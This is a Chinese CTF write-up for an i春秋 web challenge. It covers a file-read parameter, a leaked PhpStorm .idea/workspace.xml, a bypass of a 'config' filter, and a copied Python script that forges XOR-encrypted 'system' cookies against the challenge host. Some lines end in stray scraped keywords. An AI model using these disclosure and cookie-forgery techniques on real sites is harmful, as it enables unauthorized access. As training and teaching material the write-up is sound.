題目在i春秋ctf大本營php
打開連接是一張圖片,審查元素髮現關鍵詞base64,圖片的內容都以base64加密後的形式呈現,查看url形式,應該是一個文件讀取的漏洞html
這裏咱們能夠採用url/index.php?jpg=index.php來獲取index.php的源代碼經base64加密後的代碼cookie
base64解密後獲得以下源碼:session
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
這裏對jpg傳入的file進行一些操做,現將除了數字字母之外的字符刪除,接着將config替換成_,接着將file內容進行base64加密app
這裏的關鍵是註釋中的「Created by PhpStorm」,由於phpstorm寫的會有一個 .idea 文件夾,裏面存儲了一些配置文件dom
訪問url/.idea/workspace.xml,能夠看到與index.php同一文件夾下的還有config.php,fl3g_ichuqiu.phpphpstorm
因爲上面的代碼給出了過濾條件,說明咱們這裏不能讀到config.php,但能夠讀取fl3g_ichuqiu.php,根據上述代碼,_要用config代替ide
訪問url/index.php?jpg=fl3gconfigichuqiu.php,獲得源碼:函數
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ error_reporting(E_ALL || ~E_NOTICE); include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { //定義random函數,傳入數字參數,返回相應位數的隨機字符串 $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt,$key){ //定義加密函數,先將傳入的txt中的每一個字符轉ASCII碼+10再轉爲字符串 for($i=0;$i<strlen($txt);$i++){ //將四位隨機字符+傳入的key並對其進行md5加密生成新的key $tmp .= chr(ord($txt[$i])+10); //將txt進行異或加密,結果返回base64編碼過的ran+ttmp } $txt = $tmp; $rnd=random(4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; } return base64_encode($rnd.$ttmp); } function decrypt($txt,$key){ $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); } return $tmp1; } $username = decrypt($_COOKIE['user'],$key); if ($username == 'system'){ echo $flag; }else{ setcookie('user',encrypt('guest',$key)); echo "╮(╯▽╰)╭"; } ?>
這裏的當務之急是要拿到輸入的key的值,根據代碼的最後一段:當cookie中user的值解密後不爲system時,會給咱們guest加密後的值,這就提醒咱們key的前五位能夠經過guest得知編碼
給一下大佬的wp
# coding=utf-8 import base64 import requests text = 'guest' crypt = 'YldhV0lHV09O' crypt = base64.b64decode(crypt) rnd = crypt[0:4] crypt = crypt[4:] text1 = '' for i in text: text1 += chr(ord(i) + 10) key = '' for (i, j) in zip(text1, crypt): key += chr(ord(i) ^ ord(j)) text = 'system' text1 = '' for i in text: text1 += chr(ord(i) +10) cookies = [] for i in '0123456789abcdef': key1 = key + i tmp = '' for (j, k) in zip(text1, key1): tmp += chr(ord(j) ^ ord(k)) cookies.append(base64.b64encode(rnd + tmp)) #r = requests.session() for i in cookies: cookie = {'user':i} r = requests.session() result = r.get('http://2ec98f1fcd174a7c941546f366c1e55cc6935c1e07604c71.game.ichunqiu.com/fl3g_ichuqiu.php', cookies=cookie) print result.text